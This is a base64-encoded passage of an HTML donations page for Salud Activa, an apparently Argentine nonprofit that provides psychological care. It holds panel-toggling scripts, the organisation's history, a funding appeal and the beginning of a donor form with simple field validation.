Njb250ZW5pZG8yLCAjY29udGVuaWRvNCwgI2NvbnRlbmlkbzUiKS5zbGlkZVVwKCk7CiQoIiNib3RvbjMiKS5yZW1vdmVDbGFzcygnbm9zZWxlY3QnKS5hZGRDbGFzcygnc2VsZWN0Jyk7Ci8vJCgiI2JvdG9uMiwgI2JvdG9uMSwgI2JvdG9uNCwgI2JvdG9uNSIpLnJlbW92ZUNsYXNzKCdzZWxlY3QnKS5hZGRDbGFzcygnbm9zZWxlY3QnKTsKfSk7CgovL2JvdG9uNAokKCIjYm90b240IikuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbnRlbmlkbzQiKS5zbGlkZVRvZ2dsZSgpOwokKCIjY29udGVuaWRvMSwgI2NvbnRlbmlkbzMsICNjb250ZW5pZG8yLCAjY29udGVuaWRvNSIpLnNsaWRlVXAoKTsKJCgiI2JvdG9uNCIpLnJlbW92ZUNsYXNzKCdub3NlbGVjdCcpLmFkZENsYXNzKCdzZWxlY3QnKTsKJCgiI2JvdG9uMiwgI2JvdG9uMywgI2JvdG9uMSwgI2JvdG9uNSIpLnJlbW92ZUNsYXNzKCdzZWxlY3QnKS5hZGRDbGFzcygnbm9zZWxlY3QnKTsKfSk7CgovL2JvdG9uNQokKCIjYm90b241IikuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbnRlbmlkbzUiKS5zbGlkZVRvZ2dsZSgpOwokKCIjY29udGVuaWRvMSwgI2NvbnRlbmlkbzMsICNjb250ZW5pZG8yLCAjY29udGVuaWRvNCIpLnNsaWRlVXAoKTsKJCgiI2JvdG9uNSIpLnJlbW92ZUNsYXNzKCdub3NlbGVjdCcpLmFkZENsYXNzKCdzZWxlY3QnKTsKJCgiI2JvdG9uMiwgI2JvdG9uMywgI2JvdG9uMSwgI2JvdG9uNCIpLnJlbW92ZUNsYXNzKCdzZWxlY3QnKS5hZGRDbGFzcygnbm9zZWxlY3QnKTsKfSk7Cn0pOwo8L3NjcmlwdD4KCgo8L2hlYWQ+Cgo8Ym9keT4KPGRpdiBpZD0iY29udGVuZWRvciI+CjxkaXYgaWQ9ImhlYWRlciI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgPHRyPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249Im1pZGRsZSI+PGltZyBzcmM9ImltYWdlcy9oZWFkZXIuanBnIiBuYW1lPSJib3RvbjQiIHdpZHRoPSI5MzMiIGhlaWdodD0iMTI5IiBpZD0iYm90b240Ii8+PC90ZD4KICAgPCEtLSA8dGQgdmFsaWduPSJtaWRkbGUiPjxhIGhyZWY9ImluZm8uZG9jIiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltYWdlcy9oZWFkZXJtYzEuanBnIiBuYW1lPSJkZXNjYXJnYSIgd2lkdGg9Ijg0NSIgaGVpZ2h0PSIxMTAiIGJvcmRlcj0iMCIgIGlkPSJkZXNjYXJnYSIvPi0tPgo8L2E+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgo8L2Rpdj4gPCEtLWVuZCBvZiBIRUFERVIgLS0+CiAgICA8ZGl2IGlkPSJpbWFnZW5lcyI+CiAgICAgIDxkaXYgaWQ9InNsaWRlciI+CiAgIAkgIDxkaXY+CiAgIAkJPGltZyBzcmM9ImltYWdlcy9iYW5uZXJfaG9tZS5qcGciIHdpZHRoPSI5MzUiIGhlaWdodD0iMzA5IiAvPjwvZGl2PiAKICAgCSAgPCEtLWVuZCBvZiBTTElERSAtLT4KICAgICAgPC9kaXY+IAogICAgICA8IS0tZW5kIG9mIFNMSURFUiAtLT4KPC9kaXY+IAogICAgPCEtLWVuZCBvZiBJTUFHRU5FUyAtLT4gICAgCjxkaXYgaWQ9ImJvdG9uZXJhIj4KICAgIAk8dWw+CiAgICAgICAgCTxsaSBjbGFzcz0ibm9zZWxlY3QxIiBpZD0iYm90b24yIj48L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5vc2VsZWN0MiIgaWQ9ImJvdG9uMSI+PC9saT4KICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6IHZvaWQobyk7IiBvbmNsaWNrPSJ3aW5kb3cub3BlbignaHR0cDovL3d3dy5mYWNlYm9vay5jb20vc2hhcmVyLnBocD91PWh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2RvbmFjaW9uZXMvJywndmVudGFuYWNvbXBhcnRpcicsICd0b29sYmFyPTAsIHN0YXR1cz0wLCB3aWR0aD02NTAsIGhlaWdodD00NTAnKTsiPgogICAgICAgIDxsaSBjbGFzcz0ibm9zZWxlY3QzIj48L2xpPgogICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwhLS08bGkgY2xhc3M9Im5vc2VsZWN0IiBpZD0iYm90b240Ij5JTkZPUk1BQ0nDk04gREUgQ09NUFJBUzwvbGk+LS0+CiAgICAgICAgICA8IS0tIDxsaSBjbGFzcz0ibm9zZWxlY3QiIGlkPSJib3RvbjUiPkNPTUVSQ0lBTCBERSBUVjwvbGk+IC0tPgogICAgICAgIDwvdWw+CiAgICAgPC9kaXY+ICAgICAgIAogICAgIDwvZGl2Pgo8IS0tZW5kIG9mIEJPVE9ORVJBIC0tPgogICAgCjxkaXYgY2xhc3M9ImNvbnRlbmlkbyIgaWQ9ImNvbnRlbmlkbzEiPgoKPCEtLUNPTlRFTklETyAxZXIgQk9UT04gLS0+CiAKPGRpdiBjbGFzcz0iZm9uZG9fY29udDQiPgoKPGRpdiBjbGFzcz0idGV4dG8iPgo8cD4mbmJzcDs8L3A+CjxwPiZuYnNwOzwvcD4KPHA+PHNwYW4gY2xhc3M9ImgxIj48Yj5TYWx1ZCBBY3RpdmE8L2I+PC9zcGFuPjwvcD4KICAgIAo8cD48c3BhbiBjbGFzcz0iaDIiPlNhbHVkIEFjdGl2YSBlcyB1bmEgb3JnYW5pemFjacOzbiBzaW4gZmluZXMgZGUgbHVjcm8gcXVlIGluaWNpw7Mgc3UgdHJhYmFqbyBhIHByaW5jaXBpb3MgZGVsIGHDsW8gMTk5OS48L3NwYW4+PC9wPgoKPHA+PHNwYW4gY2xhc3M9ImgzIj4KPHN0cm9uZyBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsiPjxiciAvPgpIb3kgZXN0YW1vcyB0cmFiYWphbmRvIGVuIGVzdGUgcHJveWVjdG86PC9zdHJvbmc+PGJyIC8+CjxhIGhyZWY9Imh0dHA6Ly9pc3N1dS5jb20vZWkuZXN0dWRpby9kb2NzL3NhbHVkYWN0aXZhLWx1ZG90ZWNhP21vZGU9d2luZG93IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltYWdlcy9HYXJhYmF0b0x1ZG90ZWNhXzUwMHB4LmpwZyIgd2lkdGg9IjUwMCIgaGVpZ2h0PSIxMTMiIGJvcmRlcj0iMCIgLz48L2E+Cgo8YnIgLz4KPGEgaHJlZj0iUHJveWVjdG9MdWRvdGVjYUNvbXBsZXRvLnBkZiIgdGFyZ2V0PSJfYmxhbmsiIHN0eWxlPSJjb2xvcjojRjYwOyI+VmVyIHByb3llY3RvIGNvbXBsZXRvPC9hPjxiciAvPgo8c3Ryb25nPjxiciAvPgo8L3N0cm9uZz48L3NwYW4+PHN0cm9uZyBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsiPlVuIHBvY28gZGUgaGlzdG9yaWE8L3N0cm9uZz48ZW0+OjwvZW0+PC9wPgo8cD48c3BhbiBjbGFzcz0iaDMiPkN1YW5kbyBpbmljaWFtb3MgZXN0ZSBjYW1pbm8gdGVuw61hbW9zIHVuYSBwcmVvY3VwYWNpw7NuLCBsb3MgcHNpY8OzbG9nb3MgeSBwc2ljw7Nsb2dhcyBjdWFuZG8gc2UgcmVjaWLDrWFuIHRlbsOtYW4gcXVlIGNvbWVuemFyIGEgZWplcmNlciB5IHNlIGVuZnJlbnRhYmFuIGEgdW5hIHNlcmllIGRlIHByb2JsZW1hcywgZW50cmUgZWxsb3MgbGEgZGlmZXJlbmNpYSBlbnRyZSBsbyBxdWUgYXByZW5kw61hbiAoeSBhcHJlbmRlbikgZW4gbGEgRmFjdWx0YWQgKHNlYSBsYSBxdWUgc2VhKSB5IGxhIHJlYWxpZGFkIGRlbCBzdWZyaW1pZW50byBkZSBsYSBnZW50ZS4gCiAgRWwgb3RybyBwcm9ibGVtYSBjb24gZWwgcXVlIHNlIHRvcGFiYW4gZXMgbGEgaW5leGlzdGVuY2lhIGRlIGx1Z2FyZXMgZG9uZGUgcmVhbGl6YXIgcHLDoWN0aWNhcywgZG9uZGUgYXByZW5kZXIgYSBhdGVuZGVyIHBhY2llbnRlcywgY29tbyBzZXIgcHNpY8OzbG9nb3MgeSBwc2ljw7Nsb2dhcyBlbiBsYSByZWFsaWRhZCBkZWwgY29udXJiYW5vIGJvbmFlcmVuc2XigKYgPGJyIC8+PGJyIC8+CiAgRXNhcyBwcmVvY3VwYWNpb25lcyBzZSBkZXNwcmVuZGllcm9uIGRlIGRpZXogYcOxb3MgZGUgZnVuY2lvbmFtaWVudG8gY29tbyBpbnN0aXR1Y2nDs24gcHNpY29sw7NnaWNhLCBlbCBDSUFQU0kgKENlbnRybyBkZSBJbnZlc3RpZ2FjacOzbiB5IEFzaXN0ZW5jaWEgUHNpY29zb23DoXRpY2EgZnVuZGFkbyBlbiAxOTg5KSB5IGEgbGEgcXVlIGNvbnZvY2Ftb3MgYSBtdWNob3MgeSBtdWNoYXMgasOzdmVuZXMgY29sZWdhcyBxdWUgc3VmcsOtYW4gZXN0YXMgZG9zIGNhcmVuY2lhcyBiw6FzaWNhcyBlbiBzdSBmb3JtYWNpw7NuLiBDb24gZXN0ZSBlc3DDrXJpdHUgZGUgZm9ybWFjacOzbiBwcm9mZXNpb25hbCBjb21lbnphbW9zIG51ZXN0cm8gY2FtaW5vIGNvbiBTYWx1ZCBBY3RpdmEsIGV4YWN0YW1lbnRlIGVsIDkgZGUgYWJyaWwgZGVsIDk5LCBtZWRpYW50ZSBsYSBpbXBsZW1lbnRhY2nDs24gZGVsIFByb2dyYW1hIEFzaXRpci4gQ29udm9jYW1vcyBhIGxvcyBwcm9mZXNpb25hbGVzIHJlY2nDqW4gcmVjaWJpZG9zIGEgcmVhbGl6YXIgZXN0YSBmb3JtYWNpw7NuIHByb2Zlc2lvbmFsIHRlw7NyaWNvLXByw6FjdGljYSBkZSBtYW5lcmEgZ3JhdHVpdGEgeSBxdWUgaW5jbHXDrWEgbGEgc3VwZXJ2aXNpw7NuIGNsw61uaWNhIGRlIGxvcyBwYWNpZW50ZXMgdGFtYmnDqW4gZGUgbWFuZXJhIGdyYXR1aXRhLiAKICA8YnIgLz48YnIgLz4KICBQYXJhIGdlbmVyYXIgbG9zIGVzcGFjaW9zIGRlIGxhIHByw6FjdGljYSBpbnZpdGFtb3MgYSBsYSBjb211bmlkYWQgY2VyY2FuYSBhIHBhcnRpY2lwYXIgZGUgZXN0YSBwb3NpYmlsaWRhZDogYXNpc3RlbmNpYSBwc2ljb2zDs2dpY2EgZ3JhdHVpdGEgbyBtZWRpYW50ZSBlbCBwYWdvIGRlIHVuIG3DrW5pbW8gYm9ubyBjb250cmlidWNpw7Nu4oCmCiAgPGJyIC8+PGJyIC8+CiAgUHJpbWVybyBmdWVyb24gbGFzIGVzY3VlbGFzIGRlIG51ZXN0cm8gcGFydGlkbywgcG9kcsOhbiBpbWFnaW5hcnNlIHF1ZSBsYSBwcmltZXJhIHJlYWNjacOzbiBmdWUgZGUgYXNvbWJybyB5IGRlc2NvbmZpYW56YSwgbGFzIGRpcmVjdG9yYXMgeSBlcXVpcG9zIHTDqWNuaWNvcyBjb21lbnphcm9uIGEgbGxhbWFyIHBvciB0ZWzDqWZvbm8sIHNlIGZ1ZXJvbiBhY2VyY2FuZG8geSBsZXMgZXhwbGljw6FiYW1vcyBjdWFsZXMgZXJhbiBudWVzdHJvcyBvYmpldGl2b3M6IGZvcm1hciBwcm9mZXNpb25hbGVzIHkgcGVybWl0aXIgYSBtw6FzIGdlbnRlIHBvZGVyIGFjY2VkZXIgYSBsYSBhc2lzdGVuY2lhIHBzaWNvbMOzZ2ljYS4gQXPDrSBwbGFudGVhZG8gZW1wZXphcm9uIGEgbGxlZ2FyIGxhcyBwcmltZXJhcyBkZXJpdmFjaW9uZXM6IG5pw7FvcywgbmnDsWFzIHkgYWRvbGVzY2VudGVzIHF1ZSB0dXZpZXJhbiBkaWZpY3VsdGFkZXMgbyBwcm9ibGVtYXMgZW4gbGEgZXNjdWVsYSwgeSBxdWUgbGEgZXNjdWVsYSBzZSBjb21wcm9tZXRpZXJhIGEKICB0cmFiYWphciBqdW50byBhIG5vc290cm9zIGVuIGxhIHByb2JsZW3DoXRpY2EgZGVsIG5pw7FvIG8gbmnDsWEuCiAgUXVlIGZ1ZSBsbyBxdWUgb2N1cnJpw7PigKZsYSBtYXlvcsOtYSBkZSBsYXMgZGVyaXZhY2lvbmVzIGVzdGFiYW4gdmluY3VsYWRhcyBhbCBtYWx0cmF0byAsIGEgbGEgdmlvbGVuY2lhIHkgYWwgYWJ1c28gaW5mYW50aWwuIAogIDxiciAvPjxiciAvPgogIEp1c3RhbWVudGUgcG9yIHVuIGNhc28gZGUgYWJ1c28gc2V4dWFsIGluZmFudGlsIGZ1aW1vcyBjb252b2NhZG9zIHBvciB1bm8gZGUgbG9zIFRyaWJ1bmFsZXMgZGUgRmFtaWxpYSBkZSBNb3LDs24sIGVsIG7CuiAxIHBhcmEgc2VyIG3DoXMgZXhhY3RvcyBlbiBkb25kZSBjb21lbnphYmEgYSBmdW5jaW9uYXIgdW4gZXNwYWNpbyBpbm5vdmFkb3IgcGFyYSBhcXVlbCBtb21lbnRvLCBub3ZpZW1icmUgZGVsIDk5LCAgbGEgUmVkIGRlIEZhbWlsaWEgZGVsIE9lc3RlLCBjcmVhZGEgcG9yIHVuIEp1ZXogZWwgRHIuIENhcmxvcyBSb21hbm8sIHZpc2lvbmFyaW8gc29icmUgbGEgZm9ybWEgZW4gbGEgcXVlIHNlIGRlYmVuIHRyYWJhamFyIGxvcyB0ZW1hcyBkZSB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c286IGVuIHJlZCwgYXJ0aWN1bGFuZG8sCiAgbXVsdGlkaXNjaXBsaW5hcmlhbWVudGUsIHBlbnNhbmRvIGp1bnRvcywgc2llbmRvIGNyZWF0aXZvc+KApgogIDxiciAvPjxiciAvPgogIE5vcyBhdXRvIGZvcm1hbW9zLCBpbnZlc3RpZ2Ftb3MsIGNvbnN0aXR1aW1vcyBncnVwb3MgZGUgZXN0dWRpbywgbm9zIGNhcGFjaXRhbW9zLCB5IG5vcyBlc3BlY2lhbGl6YW1vcy4KICBTaWVtcHJlIGRlY2ltb3MgcXVlIG5vc290cm9zIG5vIGVsZWdpbW9zIGhhY2VyIGVzdG8sIGxhIHJlYWxpZGFkIHNlIG5vcyBpbXB1c28geSBzZW50aW1vcyBxdWUgZXJhIG51ZXN0cm8gZGViZXIgcmVzcG9uZGVyIGEgbG8gcXVlIG5hZGllIHJlc3BvbmRlLCBhY29tcGHDsWFyIGxvIHF1ZSBuYWRpZSBhY29tcGHDsWEsIHkgcG9yIHNvYnJlIHRvZG8gaGFjZXLigKYsIHRyYXRhciBxdWUgZWwgcXVlIGVzdMOhIHN1ZnJpZW5kbyB0ZW5nYSBsYSBvcG9ydHVuaWRhZCBkZSBlbGVnaXIgb3RyYSBjb3NhLCB0ZW5nYSBsYSBwb3NpYmlsaWRhZCBkZSBtZWpvcmFyLCBkZSBjYW1iaWFyIHN1IGRlc3Rpbm/igKYKICA8YnIgLz48YnIgLz4KICBFbiBlc2UgY2FtaW5vIGZ1aW1vcyBoYWNpZW5kbywgbG9zIENvbmdyZXNvcywgbGFzIEpvcm5hZGFzLCBsYXMgY2FwYWNpdGFjaW9uZXMgZXh0ZXJuYXMgeSBmb3JtYW1vcyBtdWNob3MsIHBlcm8gbXVjaG9zIHByb2Zlc2lvbmFsZXPigKZudW5jYSB0dXZpbW9zIGVsIHRpZW1wbyB5IGVsIGRpbmVybyBwYXJhIHNpc3RlbWF0aXphciBsYSBpbmZvcm1hY2nDs24geSBwb2RlciBjb250YXIgY29uIGVzdGFkw61zdGljYXMgcG9ycXVlIGVsIHRpZW1wbyB5IGVsIHBvY28gZGluZXJvIGxvIHVzYW1vcyBwYXJhIGFsaXZpYXIgZWwgc3VmcmltaWVudG8gZGUgbG9zIHBhY2llbnRlcyBxdWUgcmVjdXJyZW4gYSBub3NvdHJvcy4KICA8YnIgLz48YnIgLz4KICBUYW1iacOpbiBub3MgZGltb3MgY3VlbnRhIHF1ZSBlbiBtdWNob3MgbW9tZW50b3MgZGUgbGEgdmlkYSBkZSBsb3MgbmnDsW9zIHkgbmnDsWFzIG5vIGFsY2FuemEgY29uIGVsIHRyYXRhbWllbnRvIGVuIHVuIGNvbnN1bHRvcmlvLCBwb3JxdWUgbGFzIHByb2JsZW3DoXRpY2FzIHNlIGNvbXBsZWppemFuLCBsYXMgc2l0dWFjaW9uZXMgc2UgYWdyYXZhbiB5IHNlbnRpbW9zIHF1ZSB0ZW7DrWFtb3MgcXVlIGhhY2VyIGFsZ28gbcOhc+KApgogIEFzw60gbmFjZSBudWVzdHJvIFByb2dyYW1hIE1ldGFtb3Jmb3NpcywgdW4gZXNwYWNpbyBkZSB0cmF0YW1pZW50byBpbnRlZ3JhbCBjb24gaW50ZXJuYWNpw7NuIHBhcmEgYWRvbGVzY2VudGVzIG11amVyZXMgdsOtY3RpbWFzIGRlIGFidXNvIHNleHVhbCwgZGUgdmlvbGVuY2lhLCBkZSB0cmF0YeKAplRhbWJpw6luIGluaWNpYW1vcyBudWVzdHJvcyBwcm9ncmFtYXMgQ29uc3RydXllbmRvIHkgQXByZW5kZXIgYSB2b2xhciwgZGVzdGluYWRvIGEgYWRvbGVzY2VudGVzIGVuIGNvbmZsaWN0byBjb24gbGEgbGV5IHBlbmFsLCAgcHVuaWJsZXMgeSBubyBwdW5pYmxlcyByZXNwZWN0aXZhbWVudGUsIAogIGFsZ28gYWx0ZXJuYXRpdm8gYSBsYSBpbnRlcm5hY2nDs27igKYKICA8YnIgLz48YnIgLz4KICBBIGxvIGxhcmdvIGRlIGVzdG9zIGHDsW9zIGhlbW9zIGRlc2Fycm9sbGFkbyBtdWNob3MgcHJvZ3JhbWFzLCBxdWUgdHV2aWVyb24gcXVlIGRpc2NvbnRpbnVhcnNlIGRlYmlkbyBhIGxhIGZhbHRhIGRlIHJlY3Vyc29zIGVjb27Ds21pY29zLCBsYSB2ZXJkYWQgZXMgcXVlIG51bmNhIGhheSBkaW5lcm8gcGFyYSBlc3RvcyB0ZW1hcywgYSBwZXNhciBkZSBxdWUgdG9kbyBlbCBtdW5kbyBzZSBsYSBwYXNhIGhhYmxhbmRvIGRlIGVsbG9zLCBwZXJvIGhhYmxhbiwgc29sbyBoYWJsYW7igKYKICA8YnIgLz48YnIgLz4KICBIb3kgbm9zIGVuY29udHJhbW9zIGVuIGVzdGUgbW9tZW50bywgZW4gZG9uZGUgU2FsdWQgQWN0aXZhIHNlIGVuY3VlbnRyYSBlbiBjcmlzaXPigKYKICBOdWVzdHJhIMO6bmljYSBmdWVudGUgZGUgZmluYW5jaWFtaWVudG8gcGFyZWNlIHF1ZSB0YW1iacOpbiBlc3TDoSBlbiBjcmlzaXMsIG5vcyBlbmNvbnRyYW1vcyBlbiB1bmEgZW5jcnVjaWphZGEsIG5lY2VzaXRhbW9zIGRlIGxhIGF5dWRhIGRlIHVzdGVkZXPigKZTaSBsZXMgcGFyZWNlIHF1ZSBlc3RhbW9zIGhhY2llbmRvIGFsZ28gYnVlbm8gcGFyYSBsYSBnZW50ZSBsb3MgaW52aXRhbW9zIGEgcXVlIHNlIGFzb2NpZW4gYSBub3NvdHJvcyBtZWRpYW50ZSBlbCBwYWdvIGRlIHVuYSBwZXF1ZcOxYSBjb250cmlidWNpw7NuIG1lbnN1YWwgcXVlIHNlIGRlYml0YXLDoSBkZSBzdSB0YXJqZXRhIAogIGRlIGNyw6lkaXRvLCB0b2RhIGNvbGFib3JhY2nDs24gcG9yIHBlcXVlw7FhIHF1ZSBzZWEgbm9zIGF5dWRhcsOhCiAgPGJyIC8+PGJyIC8+CiAgQWNvbXBhw7FlbiBlc3RhIHRhcmVhIHF1ZSBkZXNlYW1vcyBzZWd1aXIgaGFjaWVuZG/igKYKPC9zcGFuPjwvcD4KPC9kaXY+CgkJCjwvZGl2PgogICAgPGRpdiBjbGFzcz0iZm9vdGVyIj48aW1nIHNyYz0iaW1hZ2VzL2Zvb3Rlci5qcGciIHdpZHRoPSI5MzUiIGhlaWdodD0iODciIC8+PC9kaXY+Cgo8L2Rpdj4KICAgICA8IS0tZW5kIG9mIENPTlRFTklETzEgLS0+CiAgICAKICAgIDxkaXYgY2xhc3M9ImNvbnRlbmlkbzIiIGlkPSJjb250ZW5pZG8yIj4KICAgIDwhLS1DT05URU5JRE8gMmRvIEJPVE9OICAtLT4KICAgIAoKPGRpdiBjbGFzcz0iZm9uZG9fY29udDIiPgoKPGRpdiBjbGFzcz0iZm9ybSI+CiAgPGRpdiBjbGFzcz0idGV4dG8iPgogICAgPHA+Jm5ic3A7PC9wPgogICAgPHA+Jm5ic3A7PC9wPgo8cD48c3BhbiBjbGFzcz0idGl0dWxvX2Zvcm0iPjxiPkRBVE9TIFBFUlNPTkFMRVM8L2I+PC9zcGFuPgogICAgPHNwYW4gY2xhc3M9InRpdHVsb19mb3JtMiI+KEVzIG9ibGlnYXRvcmlvIHJlbGxlbmFyIGxvcyBjYW1wb3MgCiAgICAgICAgICAgICAgICBpbmRpY2Fkb3MgY29uICopPC9zcGFuPjwvcD4KICAgIDxkaXYgaWQ9ImJsb3F1ZV9penFfMDMiPgogICAgCQk8ZGl2IGlkPSJibG9xdWVfaXpxXzAzX3RleHRvIj4KICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIDxzY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiB2YWxpZGFyRW1haWwoZW1haWwpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHJlICA9IC9eKFthLXpBLVowLTlfLi1dKStAKChbYS16QS1aMC05LV0pKy4pKyhbYS16QS1aMC05XXsyLDR9KSskLzsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFyZS50ZXN0KGVtYWlsKSkgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gdmFsaWRhcihvYmopIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmoubm9tYnJlLnZhbHVlID09ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoIkRlYmUgaW5ncmVzYXIgc3Ugbm9tYnJlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2JqLm5vbWJyZS5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmouYXBlbGxpZG8udmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRGViZSBpbmdyZXNhciBzdSBhcGVsbGlkbyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iai5hcGVsbGlkby5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmoudGVsZWZvbm8udmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRGViZSBpbmdyZXNhciBzdSB0ZWxlZm9ubyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iai50ZWxlZm9uby5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmouZW1haWwudmFsdWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhbGVydCgiRGViZSBpbmdyZXNhciBzdSBlbWFpbCIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9iai5lbWFpbC5mb2N1cygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHZhbGlkYXJFbWFpbChvYmouZW1haWwudmFsdWUpID09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFbCBlbWFpbCBpbmdyZXNhZG8gZXMgaW5jb3JyZWN0byIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYmouZW1haWwuZm9jdXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChvYmoudGVybWlub3MuY2hlY2tlZCAhPSB0cnVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWxlcnQoIkRlYmUgYWNlcHRhciBsb3MgdMOpcm1pbm9zIHkgY29uZGljaW9uZXMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvYmoudGVybWlub3MuZm9jdXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ+CiAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBuYW1lPSJjb250YWN0IiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iZW52aW8ucGhwIiBvblN1Ym1pdD0icmV0dXJuIHZhbGlkYXIodGhpcykiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0iYmxvcXVlX2l6cV8wMiI+CjxoMT5Ob21icmU8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5BcGVsbGlkbzxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPlByb2Zlc2nDs248L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5MdWdhciBkZSB0cmFiYWpvPC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDE+VGVsw6lmb25vPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+PC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDE+RW1haWw8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxiciAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gPGgxPk5yby4gZGUgVGFyamV0YTxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+IC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMT5Nb250bzxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxPlRpcG8gZGUgT3BlcmFjacOzbjxmb250IGNvbG9yPSIjRkY2NjAwIj4qPC9mb250PjwvaDE+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgxIGlkPSJoMV90YXJqZXRhIj5UYXJqZXRhPGZvbnQgY29sb3I9IiNGRjY2MDAiPio8L2ZvbnQ+PC9oMT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDEgaWQ9ImgxX2ZyZWN1ZW5jaWEiPkZyZWN1ZW5jaWE8Zm9udCBjb2xvcj0iI0ZGNjYwMCI+KjwvZm9udD48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAJCSAgPGZpZWxkc2V0PgogI